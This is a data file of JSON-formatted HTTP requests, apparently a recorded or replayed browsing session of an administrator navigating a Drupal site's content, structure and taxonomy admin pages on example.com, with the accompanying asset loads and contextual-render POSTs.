{"method": "GET", "target": "/sites/default/files/js/js_oqDrM0IhMLn8AZOW50puF3Yhjjr8wcLaRDch0LJwjvg.js?scope=footer&delta=0&language=en&theme=claro&include=eJxLzkksytdPKSotSMzRy0ss0y1JTCoGAFlaCBM&exclude=eJxFjEEOwjAMBD-UNE9CjokiC9cbJU5FeT0VBXobrWaWYV6ePknTvc9GuvB_iSr2GIHRSzL0lVReJbBSR6qKfBjD90Oqp_M9IHbZyicORptUcoGlCxelHdPPiLE2WDEfy2XE6IBm6jFPd1jIUm9NWkk_eAMPukfa", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_BlPFDilS_oEhwF0HDxZ480ulASjw5IudrBkkXsaaxvI.css?delta=0&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxljkkOAyEMBD_E8iYDFkEx9siYyfL6oEwkDrn0oVQqdSZQiZUkAflhL2pcXRY2fNoEikXnARQ28cu4j6Uoxiz9EEa2ERjOVsGasPcmQgnUp2kmfKm_jkEivCEU1H8-RO2iLNqB2hvd7sa2LigveTN3NnyM-N3QpUzCD4lnUc8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_CcEISLR1pk_U-fpVvH09p2TLaOmRHxcIbXaUgsAf38o.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljdEKgCAMRX_I8pNi2pDRmEOn9PlJFBK9Xc45cAOlTUnRh2e4mMXwtAbs99IUeJ1kYZKjjqTgKyEadbzFhxsExoJVs9QR_F1FxmhOoFMCoyyexk2R4Se7AGS2PkQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_65vRiN4T0Zm5WPkTX4WXHxzogBsxjBWtemrAP7Ianv0.css?delta=1&language=en&theme=claro&include=eJxFjUkOAyEMBD_E8ibDWMiKsUfGTJbXB2UicelDqbq7MpjmxlqA4_A3k7RQVRxfPoHzYfMETpvEZTzGUgxz1X6qoPhIAhc1cFKJ0VW5gMUy3VVu9b_jUBiHmt9U1DowfTDsfqZ1ZbLkzcJF-Bz5l6nrMRm_XhtIpA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_DAGcX-roZwuoTrgJMQuFtrMOlf7B6qygq9ldzK5J9fQ.css?delta=0&language=en&theme=claro&include=eJxFjUkOAyEMBD_E8ibDWMiKsUfGTJbXB2UicelDqbq7MpjmxlqA4_A3k7RQVRxfPoHzYfMETpvEZTzGUgxz1X6qoPhIAhc1cFKJ0VW5gMUy3VVu9b_jUBiHmt9U1DowfTDsfqZ1ZbLkzcJF-Bz5l6nrMRm_XhtIpA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_MzYQPMFC12WkHnUb4AyqSN5rpid4chCag_aR1pChSsQ.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVjNEKgCAMRX-o8pNi2pDRmGNO6fOTKKS3yzmHGynvSoohvmNJRRwvb8DhsKbA2yQrk5x1JIafhOTU8RE_7hAZDasWqSNYBDplcCoSaNyZjGayGwP4NQI", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/files", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfiles%3Alocation%3Dpage%26name%3Dfiles%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=Cypp2HJrw0AOe1SofB-g18guU4gfVM4DwiYMLTrp7Vo"}
|
||||
{"method": "GET", "target": "/admin/content/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_Rj8FErIgCRmm_fqnNH-MBKqak3Tzzlv2cmHnva1IUDE.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_PIXqWZRZfDre6leYgjG1ppL5f4T6fgWnaJOocJBHvSs.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVjFEKgCAQBS9UeaRYbZFHyyq6SsdPopD-HjPD84h7Rmbn37GEpMaXNRJ3lJZJtklWgZ51JIU_ScHQ-RE_buSFKwsHW5Q6IhmSOoyrosNPdgMrQjM0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/media", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dmedia%3Alocation%3Dpage%26name%3Dmedia%26display_id%3Dmedia_page_list%26langcode%3Den&tokens%5B%5D=gRSv7UHLkroVt8nCE9bjv39cQ2rcWbPgIomvr8XYvPU"}
|
||||
{"method": "GET", "target": "/admin/content/block", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/block", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dblock_content%3Alocation%3Dpage%26name%3Dblock_content%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=7taM7aKonK2Mcsm70tCmCBC6-KRZ5TStMivh9X4pq-8"}
|
||||
{"method": "GET", "target": "/admin/content/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFjEEOgDAIBD9U7ZsQm4aI0CAa-3uJifU6s7Oo4uX2EzivdjbgGQeZmGQ7EqqVTwI6XeUVSeCiCk4qmSIxCf-zpBxL01xZl_g6vEdVB_6XUzPawfoD-vI22A", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJxtjkEOwyAMBD8E4U2GWAjF2Mh20vL7ckpy6HVGmt0i7Pj1Eyjteg6grdwkUuPDQhHFVKQPYWS3jeFqFbwJx-gilEFjPt2Fw6NSWxXl1XtYEGoXqqRKklfefK6FeuNXeGjroPOfMlwP97cc8kHFPeYZM0k5gk1z7CmD4Q_pfVgx", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_xXCDbP-RAFtr_qi4RQmy83L1Stl0GIDonFQNXSDjcIM.css?delta=1&language=en&theme=olivero&include=eJxtjkEOwyAMBD8E4U2GWAjF2Mh20vL7ckpy6HVGmt0i7Pj1Eyjteg6grdwkUuPDQhHFVKQPYWS3jeFqFbwJx-gilEFjPt2Fw6NSWxXl1XtYEGoXqqRKklfefK6FeuNXeGjroPOfMlwP97cc8kHFPeYZM0k5gk1z7CmD4Q_pfVgx", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_hu2qYVXcDNCCkSE_yDBAQwtnjk6xIKxwvzSYExQhhJk.js?scope=footer&delta=1&language=en&theme=olivero&include=eJxFjEEOgDAIBD9U7ZsQm4aI0CAa-3uJifU6s7Oo4uX2EzivdjbgGQeZmGQ7EqqVTwI6XeUVSeCiCk4qmSIxCf-zpBxL01xZl_g6vEdVB_6XUzPawfoD-vI22A", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/types", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/types/manage/article", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/types/manage/article/fields", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/taxonomy", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_a0l6DFNDHHdFIetyfjHJ-uIfWwXSO0EmaV_goLTsK6Y.css?delta=0&language=en&theme=claro&include=eJxVjlsOwyAMBC8UwpkcgpBbx4uMqdKevkitRPI7mn0kIUMsgo0kNH8La1kS1PPpnSTu1ivJOkkYxrMNxXJMOCo0q7dV6cWFnKEhOCAbWdi6O_Sn_nvoQecN7EyCckeGeo0q7CDhT17mSOTxx3TYk30BjpRPQg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_BphLjOXn9B0C8-cuBOEKIDKSXP4pW8ECiyxNm922aI0.css?delta=1&language=en&theme=claro&include=eJxVjlsOwyAMBC8UwpkcgpBbx4uMqdKevkitRPI7mn0kIUMsgo0kNH8La1kS1PPpnSTu1ivJOkkYxrMNxXJMOCo0q7dV6cWFnKEhOCAbWdi6O_Sn_nvoQecN7EyCckeGeo0q7CDhT17mSOTxx3TYk30BjpRPQg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_-vK4LyWpDr9lb8GbXxZjkSnHhHJxu3Daihrs4NQA5Sw.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_0BtosoKuAqM5GtLkuevTJnnLoBkSvptjlR0qQYYDruk.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/overview", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_MzYQPMFC12WkHnUb4AyqSN5rpid4chCag_aR1pChSsQ.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_VrhKC7-kxWGUIEsCT4AAFSWF6Z4UJH3OTQdHX4_R8pM.css?delta=1&language=en&theme=claro&include=eJxFzdEKwzAIheEXappnOkklyKwWY8q2p1-gg9z-fB6rwC03sQJJPT7C2rZqGvSOAcmHjwuyr5KmePVJnHK18zIljb4rbm4INk0pzKTAUxkRpg_97wSK0OFoT1XzE8Jf2tZ95vnKdeLVfjY9QQ8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_beYwnrkENjJYreCPf0waaN0M5ZTXCT9GLjw5onkeDjw.css?delta=0&language=en&theme=claro&include=eJxFzdEKwzAIheEXappnOkklyKwWY8q2p1-gg9z-fB6rwC03sQJJPT7C2rZqGvSOAcmHjwuyr5KmePVJnHK18zIljb4rbm4INk0pzKTAUxkRpg_97wSK0OFoT1XzE8Jf2tZ95vnKdeLVfjY9QQ8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_FTAfAnA5r42E9GEn9GkVGDPIg8L0IeULw-SoXT7uZoM.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/block", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
